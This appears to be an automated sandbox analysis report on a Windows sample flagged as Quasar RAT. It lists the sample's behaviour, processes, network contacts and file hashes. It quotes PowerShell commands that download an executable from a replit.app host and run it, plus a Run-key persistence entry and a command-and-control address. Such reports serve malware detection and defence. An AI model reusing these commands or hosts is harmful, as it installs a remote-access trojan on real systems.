Malware Analysis Report

2024-10-19 08:35

Sample ID 240730-cf9y7ssdjm
Target 8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe
SHA256 8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3
Tags
discovery execution quasar office04 persistence spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3

Threat Level: Known bad

The file 8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe was found to be: Known bad.

Malicious Activity Summary

discovery execution quasar office04 persistence spyware trojan

Quasar RAT

Quasar payload

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Downloads MZ/PE file

Checks computer location settings

Executes dropped EXE

.NET Reactor proctector

Adds Run key to start application

Unsigned PE

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Suspicious use of FindShellTrayWindow

Suspicious use of SendNotifyMessage

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-30 02:02

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-30 02:02

Reported

2024-07-30 02:05

Platform

win7-20240705-en

Max time kernel

121s

Max time network

129s

Command Line

"C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe

"C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\96F2.tmp\96F3.tmp\96F4.bat C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\96F2.tmp\96F3.tmp\96F4.bat

MD5 9aaac0122442ca0ebb4d8bb795e86676
SHA1 594744d8e4d51273dd435c3fac5799bc5f180e8c
SHA256 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373
SHA512 d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c

memory/1944-6-0x000007FEF576E000-0x000007FEF576F000-memory.dmp

memory/1944-7-0x000000001B5A0000-0x000000001B882000-memory.dmp

memory/1944-8-0x0000000002870000-0x0000000002878000-memory.dmp

memory/1944-9-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

memory/1944-10-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

memory/1944-11-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

memory/1944-12-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

memory/1944-13-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

memory/1944-14-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 7b87af0713f74d263eda086c11cc4fe0
SHA1 f16a6d47dcc4951737f94f4ffb94b90736744466
SHA256 8bed2f905f5deaf22370af4a8ad79ed3c7cab3ee3550a0eb59ab677cddb49d23
SHA512 fea49c2ec87776d8672aafb3804a869893754eb676855437286f85cfe7271f3d538096254eafdb932e747b6367eda0efa32665e270790b1a69455035712cfcfe

memory/2256-20-0x000000001B5B0000-0x000000001B892000-memory.dmp

memory/2256-21-0x00000000026E0000-0x00000000026E8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-30 02:02

Reported

2024-07-30 02:05

Platform

win10v2004-20240709-en

Max time kernel

148s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetworkRun.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\networkrunfdp.exe" C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe

"C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\EF03.tmp\EF04.tmp\EF05.bat C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"

C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe

networkrunfdp.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 jdvdpconstructionltdfileportal.replit.app udp
US 34.117.33.233:443 jdvdpconstructionltdfileportal.replit.app tcp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 98.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 233.33.117.34.in-addr.arpa udp
US 34.117.33.233:443 jdvdpconstructionltdfileportal.replit.app tcp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 192.142.123.92.in-addr.arpa udp
US 8.8.8.8:53 oshi.at udp
NL 5.253.86.15:443 oshi.at tcp
US 8.8.8.8:53 15.86.253.5.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 192.228.105.2:4782 tcp
US 8.8.8.8:53 ipwho.is udp
DE 195.201.57.90:443 ipwho.is tcp
US 8.8.8.8:53 2.105.228.192.in-addr.arpa udp
US 8.8.8.8:53 90.57.201.195.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\EF03.tmp\EF04.tmp\EF05.bat

MD5 9aaac0122442ca0ebb4d8bb795e86676
SHA1 594744d8e4d51273dd435c3fac5799bc5f180e8c
SHA256 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373
SHA512 d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c

memory/1108-2-0x00007FFC06AB3000-0x00007FFC06AB5000-memory.dmp

memory/1108-3-0x000001E6DE480000-0x000001E6DE4A2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rxrqd21r.el3.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1108-13-0x00007FFC06AB0000-0x00007FFC07571000-memory.dmp

memory/1108-14-0x00007FFC06AB0000-0x00007FFC07571000-memory.dmp

memory/1108-18-0x00007FFC06AB0000-0x00007FFC07571000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 08f9f3eb63ff567d1ee2a25e9bbf18f0
SHA1 6bf06056d1bb14c183490caf950e29ac9d73643a
SHA256 82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0
SHA512 425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe

MD5 a18b7de2990becc30f700720e19ebfef
SHA1 b48c1a5c7756bccfe05d7999daeb96e7ab688cfd
SHA256 2bf98c947ce0bd8e6e6a0c0493af056790d61ab86c7c47896b4688bdc60b68b5
SHA512 484f8faf3973b74c96b6fea157774c627044fa4631e127de30f9f93468d38e73befa3c3bff3ea07108c82d943c9b56e79c5d6391d0e3a9b197869b0715d2808b

memory/2736-35-0x0000000000010000-0x000000000007E000-memory.dmp

memory/2736-42-0x00000000053F0000-0x0000000005715000-memory.dmp

memory/2736-43-0x0000000005E70000-0x0000000006194000-memory.dmp

memory/2736-44-0x0000000006740000-0x0000000006CE4000-memory.dmp

memory/2736-45-0x0000000005BE0000-0x0000000005C72000-memory.dmp

memory/2736-46-0x0000000005BD0000-0x0000000005BDA000-memory.dmp

memory/2736-47-0x0000000005DD0000-0x0000000005E20000-memory.dmp

memory/2736-48-0x0000000006540000-0x00000000065F2000-memory.dmp

memory/2736-49-0x0000000007310000-0x0000000007928000-memory.dmp

memory/2736-50-0x0000000007010000-0x0000000007022000-memory.dmp

memory/2736-51-0x0000000007070000-0x00000000070AC000-memory.dmp

memory/2736-52-0x0000000007120000-0x0000000007186000-memory.dmp